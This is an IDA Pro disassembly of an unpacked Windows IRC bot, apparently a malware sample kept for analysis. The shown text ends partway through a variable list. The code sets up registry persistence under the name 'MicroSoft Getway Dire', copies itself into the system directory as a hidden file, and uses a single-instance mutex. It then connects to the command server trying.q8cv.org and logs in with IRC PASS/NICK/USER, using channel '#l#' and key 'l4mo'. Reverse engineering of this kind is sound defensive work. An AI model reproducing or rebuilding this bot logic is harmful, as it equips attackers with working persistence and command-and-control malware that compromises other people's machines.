; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 897E860035CD66383E3C8B010BD975D9 ; File Name : u:\work\897e860035cd66383e3c8b010bd975d9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000E0000 ( 917504.) ; Section size in file : 000E0000 ( 917504.) ; Offset to raw data for section: 00001000 ; Flags C00002E0: Text Data Bss Comment Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _XPack0 segment para public 'BSS' use32 assume cs:_XPack0 ;org 401000h assume es:nothing, ss:nothing, ds:_XPack0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_40121E+346p ; sub_4189E4+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi loc_401006: ; DATA XREF: sub_4F9DFA+122o push edi xor edi, edi xor esi, esi mov ebx, offset aMicrosoftGetwa ; "MicroSoft Getway Dire" loc_401010: ; CODE XREF: sub_401000+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push off_42A054[esi] push dword_42A050[esi] call dword_4CE2BC ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_401051 push [ebp+arg_0] call sub_41B650 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call dword_4CE32C ; RegSetValueExA jmp short loc_40105B ; --------------------------------------------------------------------------- loc_401051: ; CODE XREF: sub_401000+33j push ebx push [ebp+var_4] call dword_4CE26C ; RegDeleteValueA loc_40105B: ; CODE XREF: sub_401000+4Fj push [ebp+var_4] call dword_4CE2E4 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_401010 pop edi loc_40106D: ; DATA XREF: .XPack:loc_4FBA06w ; sub_4FBD32+14r ... pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401071 proc near ; CODE XREF: sub_4010AA+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_4010A3 mov ecx, 0FFh push ebx loc_401088: ; CODE XREF: sub_401071+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_428238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401088 pop ebx loc_4010A3: ; CODE XREF: sub_401071+Fj mov eax, esi pop edi not eax pop esi retn sub_401071 endp ; =============== S U B R O U T I N E ======================================= sub_4010AA proc near ; CODE XREF: sub_4169AB+23Fp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BB45 mov [esp+10h+var_10], offset dword_42A068 push [esp+10h+arg_0] mov esi, eax call sub_41BB32 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_4010F5 loc_4010CF: ; CODE XREF: sub_4010AA+37j xor eax, eax jmp short loc_401116 ; --------------------------------------------------------------------------- loc_4010D3: ; CODE XREF: sub_4010AA+4Fj inc ebx push ebx push esi call sub_41B872 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010CF push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B78A add esp, 10h loc_4010F5: ; CODE XREF: sub_4010AA+23j test byte ptr [edi+0Ch], 10h jz short loc_4010D3 dec ebx push ebx push esi call sub_401071 push esi mov ebx, eax call sub_41B721 push edi call sub_41B6CB add esp, 10h mov eax, ebx loc_401116: ; CODE XREF: sub_4010AA+27j pop edi pop esi pop ebx retn sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111A proc near ; DATA XREF: sub_40121E+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_441254 call dword_4CE3A0 ; closesocket call sub_40B417 call dword_4CE260 ; WSACleanup call dword_4CE260 ; WSACleanup mov ebx, dword_428080 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BC00 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BC00 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_4404C4 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_42807C ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_428078 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_428074 ; CreateProcessA test eax, eax jz short loc_4011DF push 64h call ebx ; Sleep push [ebp+var_10] loc_4011D2: ; DATA XREF: sub_4F9FE9+1Dr mov esi, dword_428070 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4011DF: ; CODE XREF: sub_40111A+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_4404C0 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call dword_42806C ; ExitProcess pop edi pop esi pop ebx loc_401202: ; DATA XREF: .XPack0:0042A004o jmp $+5 push 0FFFFh push 539h call sub_418D19 pop ecx mov dword_4CE048, eax pop ecx retn sub_40111A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40121E proc near ; CODE XREF: sub_41DFD3+C9p var_984 = byte ptr -984h var_880 = byte ptr -880h var_87F = byte ptr -87Fh var_6F0 = byte ptr -6F0h var_5F0 = byte ptr -5F0h var_4EC = byte ptr -4ECh var_3EC = byte ptr -3ECh var_2E8 = byte ptr -2E8h var_1E4 = byte ptr -1E4h var_E0 = dword ptr -0E0h var_D4 = dword ptr -0D4h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 984h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_40111A push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4280B0 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4CE04C, eax call esi ; GetTickCount push eax call sub_41BF48 pop ecx call sub_4097DE push 2 call dword_4CE3B4 ; SetErrorMode push 7530h push offset dword_42A990 push ebx push ebx call dword_4280AC ; CreateMutexA push eax call dword_4280A8 ; WaitForSingleObject cmp eax, 102h jnz short loc_40129E push 1 call dword_42806C ; ExitProcess loc_40129E: ; CODE XREF: sub_40121E+76j lea eax, [ebp+var_880] push eax push 202h call dword_4CE278 ; WSAStartup cmp eax, ebx jnz loc_4017B6 cmp [ebp+var_880], 2 jnz loc_4017B0 xor eax, eax mov al, [ebp+var_87F] cmp al, 2 jnz loc_4017B0 mov esi, 104h lea eax, [ebp+var_3EC] push esi push eax call dword_42807C ; GetSystemDirectoryA lea eax, [ebp+var_2E8] push esi push eax push ebx call dword_4280A4 ; GetModuleHandleA push eax call dword_428078 ; GetModuleFileNameA lea eax, [ebp+var_4EC] push eax lea eax, [ebp+var_6F0] push eax push ebx lea eax, [ebp+var_2E8] push ebx push eax call sub_41C041 lea eax, [ebp+var_4EC] push eax lea eax, [ebp+var_6F0] push eax push offset dword_42B478 lea eax, [ebp+var_5F0] push esi push eax call sub_41BFF0 lea eax, [ebp+var_3EC] push eax lea eax, [ebp+var_2E8] push eax call sub_41BF70 add esp, 30h test eax, eax jnz loc_401501 cmp dword_42A978, ebx mov esi, offset byte_42AA54 jz short loc_401396 push esi xor edi, edi call sub_41B650 sub eax, 4 pop ecx jz short loc_401396 loc_401373: ; CODE XREF: sub_40121E+176j call sub_41BF52 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42AA54[edi], dl inc edi call sub_41B650 sub eax, 4 pop ecx cmp edi, eax jb short loc_401373 loc_401396: ; CODE XREF: sub_40121E+145j ; sub_40121E+153j lea eax, [ebp+var_3EC] push esi push eax lea eax, [ebp+var_1E4] push offset dword_42B470 push eax call sub_41BEF6 add esp, 10h lea eax, [ebp+var_1E4] push eax call dword_4280A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4013D6 lea eax, [ebp+var_1E4] push 80h push eax call dword_42809C ; SetFileAttributesA loc_4013D6: ; CODE XREF: sub_40121E+1A4j mov esi, dword_428098 xor edi, edi jmp short loc_401402 ; --------------------------------------------------------------------------- loc_4013E0: ; CODE XREF: sub_40121E+1F7j call dword_428094 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_401417 cmp eax, 20h jz short loc_4013F4 cmp eax, 5 jnz short loc_401417 loc_4013F4: ; CODE XREF: sub_40121E+1CFj xor edi, edi push 3A98h inc edi call dword_428080 ; Sleep loc_401402: ; CODE XREF: sub_40121E+1C0j lea eax, [ebp+var_1E4] push ebx push eax lea eax, [ebp+var_2E8] push eax call esi ; CopyFileA test eax, eax jz short loc_4013E0 loc_401417: ; CODE XREF: sub_40121E+1CAj ; sub_40121E+1D4j lea eax, [ebp+var_1E4] push eax call sub_41891E pop ecx lea eax, [ebp+var_1E4] push 7 push eax call dword_42809C ; SetFileAttributesA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_41BC00 push 44h lea eax, [ebp+var_E0] pop esi push esi push ebx push eax call sub_41BC00 mov [ebp+var_E0], esi xor esi, esi inc esi add esp, 18h mov [ebp+var_D4], offset byte_4404C4 mov [ebp+var_B4], esi mov [ebp+var_B0], bx call dword_428090 ; GetCurrentProcessId push eax push esi push 100000h call dword_42808C ; OpenProcess lea ecx, [ebp+var_2E8] push ecx push eax lea eax, [ebp+var_1E4] push eax lea eax, [ebp+var_984] push offset dword_42B464 push eax call sub_41BEF6 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_E0] push eax lea eax, [ebp+var_3EC] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_984] push ebx push eax lea eax, [ebp+var_1E4] push eax call dword_428074 ; CreateProcessA test eax, eax jz short loc_401501 push 0C8h call dword_428080 ; Sleep push [ebp+var_1C] mov esi, dword_428070 call esi ; CloseHandle push [ebp+var_18] call esi ; CloseHandle call dword_4CE260 ; WSACleanup push ebx call dword_42806C ; ExitProcess loc_401501: ; CODE XREF: sub_40121E+134j ; sub_40121E+2B9j cmp dword_4DE5E0, 2 jle short loc_40154D mov eax, dword_4DE5E4 push dword ptr [eax+4] call sub_41BDE9 pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_4280A8 ; WaitForSingleObject push esi call dword_428070 ; CloseHandle mov eax, dword_4DE5E4 cmp [eax+8], ebx jz short loc_40154D push 7D0h call dword_428080 ; Sleep mov eax, dword_4DE5E4 push dword ptr [eax+8] call dword_428088 ; DeleteFileA loc_40154D: ; CODE XREF: sub_40121E+2EAj ; sub_40121E+314j cmp dword_42A97C, ebx jz short loc_40156A cmp dword_4CE3D4, ebx jnz short loc_40156A lea eax, [ebp+var_5F0] push eax call sub_401000 pop ecx loc_40156A: ; CODE XREF: sub_40121E+335j ; sub_40121E+33Dj lea eax, [ebp+var_9C] push offset dword_42B430 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_9C] push ebx push eax loc_401584: ; DATA XREF: sub_4F9FE9+B0w call sub_40B254 lea eax, [ebp+var_9C] push eax call sub_415F45 push 0B80h push ebx push offset dword_4404C8 call sub_41BC00 lea eax, [ebp+var_9C] push offset unk_42B3F4 push eax loc_4015B1: ; DATA XREF: .XPack:004FA81Fr ; .XPack:loc_4FACC9r call sub_41BEF6 push ebx lea eax, [ebp+var_9C] push 1 push eax call sub_40B254 add esp, 38h mov esi, eax mov edi, dword_428084 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_41A072 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_44125C[esi], eax jnz short loc_40160A call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_9C] push offset unk_42B398 push eax call sub_41BEF6 add esp, 0Ch loc_40160A: ; CODE XREF: sub_40121E+3CFj lea eax, [ebp+var_9C] push eax call sub_415F45 push 2 call sub_40B496 pop ecx test eax, eax pop ecx jnz short loc_40168F lea eax, [ebp+var_9C] push offset unk_42B350 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_9C] push 2 push eax call sub_40B254 add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_410EAC push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_44125C[esi], eax jnz short loc_401682 call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_9C] push offset unk_42B300 push eax call sub_41BEF6 add esp, 0Ch loc_401682: ; CODE XREF: sub_40121E+447j lea eax, [ebp+var_9C] push eax call sub_415F45 pop ecx loc_40168F: ; CODE XREF: sub_40121E+403j call sub_41BF52 push 7Fh and eax, 3 push offset aTrying_q8cv_or ; "trying.q8cv.org" push offset dword_4CE054 mov dword_4CE1BC, eax call sub_41BC60 mov eax, dword_42A958 push 3Fh mov edi, offset dword_4CE0D4 push offset asc_42AA28 ; "#l#" push edi mov dword_4CE1A4, eax call sub_41BC60 push 3Fh mov esi, offset dword_4CE114 push offset aL4mo ; "l4mo" push esi call sub_41BC60 mov dword_4CE1A8, ebx loc_4016E1: ; CODE XREF: sub_40121E+53Ej ; sub_40121E+588j add esp, 24h loc_4016E4: ; CODE XREF: sub_40121E+546j mov [ebp+var_4], ebx loc_4016E7: ; CODE XREF: sub_40121E+4FFj push offset dword_4CE050 mov dword_4CE1B8, ebx call sub_4017BF cmp eax, 2 jz loc_4017AB cmp dword_4CE1B8, ebx jz short loc_40170B dec [ebp+var_4] loc_40170B: ; CODE XREF: sub_40121E+4E8j push 0BB8h call dword_428080 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4016E7 cmp [ebp+var_C], ebx jz short loc_40175E push 7Fh push offset aTrying_q8cv_or ; "trying.q8cv.org" push offset dword_4CE054 call sub_41BC60 mov eax, dword_42A958 push 3Fh push offset asc_42AA28 ; "#l#" push edi mov dword_4CE1A4, eax call sub_41BC60 push 3Fh push offset aL4mo ; "l4mo" push esi call sub_41BC60 mov [ebp+var_C], ebx jmp short loc_4016E1 ; --------------------------------------------------------------------------- loc_40175E: ; CODE XREF: sub_40121E+504j cmp byte_42AA34, bl jz loc_4016E4 push 7Fh push offset byte_42AA34 push offset dword_4CE054 call sub_41BC60 mov eax, dword_42A95C push 3Fh push offset asc_42AA48 ; "#l#" push edi mov dword_4CE1A4, eax call sub_41BC60 push 3Fh push offset aL4mo_0 ; "l4mo" push esi call sub_41BC60 mov [ebp+var_C], 1 jmp loc_4016E1 ; --------------------------------------------------------------------------- loc_4017AB: ; CODE XREF: sub_40121E+4DCj call sub_40B417 loc_4017B0: ; CODE XREF: sub_40121E+A1j ; sub_40121E+B1j call dword_4CE260 ; WSACleanup loc_4017B6: ; CODE XREF: sub_40121E+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40121E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017BF proc near ; CODE XREF: sub_40121E+4D4p ; DATA XREF: sub_401AA1+6522o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_4017E4: ; CODE XREF: sub_4017BF+E6j ; sub_4017BF+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CE308 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A7C5 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401921 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BC00 push 0 lea eax, [ebp+var_2C] push dword_42A98C push dword_42A988 push eax call sub_40AD20 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_441260 push edi push eax call sub_41BC60 add esp, 28h push 6 push 1 push 2 call dword_4CE388 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_441254[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CE2B0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4018AA push esi call dword_4CE3A0 ; closesocket call sub_40A7EE push 7D0h loc_40189F: ; CODE XREF: sub_4017BF+146j call dword_428080 ; Sleep jmp loc_4017E4 ; --------------------------------------------------------------------------- loc_4018AA: ; CODE XREF: sub_4017BF+CDj lea eax, [ebp+var_18C] push eax push offset dword_42B480 call sub_415FB9 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401925 add esp, 28h mov edi, eax push esi call dword_4CE3A0 ; closesocket test edi, edi jz loc_4017E4 cmp edi, 1 jnz short loc_401907 push 0DBBA0h jmp short loc_40189F ; --------------------------------------------------------------------------- loc_401907: ; CODE XREF: sub_4017BF+13Fj cmp edi, 2 jnz loc_4017E4 push [ebp+var_34] call sub_40B56A pop ecx push edi pop eax loc_40191B: ; CODE XREF: sub_4017BF+164j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_401921: ; CODE XREF: sub_4017BF+5Aj xor eax, eax jmp short loc_40191B sub_4017BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401925 proc near ; CODE XREF: sub_4017BF+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C190 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401943: ; CODE XREF: sub_401925+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401943 cmp byte_4CE1B4, bl jz short loc_40196A push offset byte_4CE1B4 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_4096FD add esp, 0Ch loc_40196A: ; CODE XREF: sub_401925+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AD20 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41BEF6 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jnz short loc_4019D4 push [ebp+arg_0] call dword_4CE3A0 ; closesocket push 1388h call dword_428080 ; Sleep loc_4019CD: ; CODE XREF: sub_401925+D9j ; sub_401925+153j xor eax, eax loc_4019CF: ; CODE XREF: sub_401925+16Fj ; sub_401925+177j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4019D4: ; CODE XREF: sub_401925+92j ; sub_401925+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CE320 ; recv test eax, eax jle short loc_4019CD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_418615 pop ecx loc_401A14: ; DATA XREF: .XPack:004FA8D5o cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_4019D4 lea edi, [ebp+var_A90] loc_401A25: ; CODE XREF: sub_401925+165j xor esi, esi inc esi loc_401A28: ; CODE XREF: sub_401925+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] loc_401A3D: ; DATA XREF: .XPack:004FA14Dr push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401AA1 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A6B push 7D0h call dword_428080 ; Sleep jmp short loc_401A28 ; --------------------------------------------------------------------------- loc_401A6B: ; CODE XREF: sub_401925+137j cmp esi, 0FFFFFFFDh jz short loc_401A99 cmp esi, 0FFFFFFFEh jz short loc_401A91 cmp esi, 0FFFFFFFFh jz loc_4019CD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A25 jmp loc_4019D4 ; --------------------------------------------------------------------------- loc_401A91: ; CODE XREF: sub_401925+14Ej xor eax, eax inc eax jmp loc_4019CF ; --------------------------------------------------------------------------- loc_401A99: ; CODE XREF: sub_401925+149j push 2 pop eax jmp loc_4019CF sub_401925 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AA1 proc near ; CODE XREF: sub_401925+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h 